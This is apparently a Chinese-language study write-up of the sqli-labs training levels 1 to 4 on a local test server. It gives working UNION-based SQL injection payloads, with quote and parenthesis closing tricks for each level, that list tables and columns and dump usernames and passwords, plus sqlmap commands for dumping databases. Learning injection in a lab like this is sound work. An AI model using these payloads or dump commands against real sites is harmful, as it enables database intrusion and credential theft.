知识点总结:
16进制 : 0x3a
%20 空格
order by判断字段数
利用union select 联合查询(默认只会返回第一个结果,所以改为0用于爆破),获取表名,group_concat()连接字符串
0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
查询字段名
0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
获取字段值
0’ union select 1,group_concat(username,0x3a,password),3 from users–+
实战技巧:
http://localhost/sqli/Less-1/?id=0’ +UNION+ALL+SELECT+1,2,3–+
//观察网页中的回显位置来确定可以利用的字段数,并且可以利用回显位置查询函数user(),version(),database()
//具体结合以上方法来变通
sqlmap基本使用
探测数据库
sqlmap.py -u “站点” --dbs --batch
根据数据库探测表
sqlmap.py -u “站点” -D 数据库名 --tables --batch
根据表名探测字段名
sqlmap.py -u “站点” -D 数据库名 -T 表名 --columns --batch
根据字段名探测字段值
sqlmap.py -u “站点” -D 数据库名 -T 表名 -C 字段名 --dump --batch
不同字段名之间可以使用逗号
Less 2手工注入
1.?id=1’ 回显错误 错误信息:’ LIMIT 0,1 可知,输入的1被正常闭合
所以sql语句中判定条件id = id
因此,通过?id = 1 order by --+ 爆破字段数,得到字段数为3
寻找可利用的位置: ?id=0 +UNION+ALL+SELECT+1,2,3–+ 发现2,3可利用
爆破表名:?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()–+
爆破字段名:?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘users’–+
获取账号密码:?id=0 union select 1,group_concat(username,password),3 from users–+
也可以在username和password中间增加0x3a,代表冒号,起连接作用
Less3
?id=1’ 报出错误信息:‘1’’) LIMIT 0,1 分析可知:输入的1’右边有‘),那么左边一定有('用来闭合。
错误原因应该是id = ('1")
爆破字段时应该用 ?id=1’) order by 数字–+ 闭合sql语句中的(’
其余与上题类似
Less4
?id=1’ 未报出错误信息
?id=1" 报出错误信息:“1"”) LIMIT 0,1 与第三题类似,原语句中为id = (“id”)
因此手工注入应该用“)闭合前面的括号和双引号,加入语句,–+注释掉后面的内容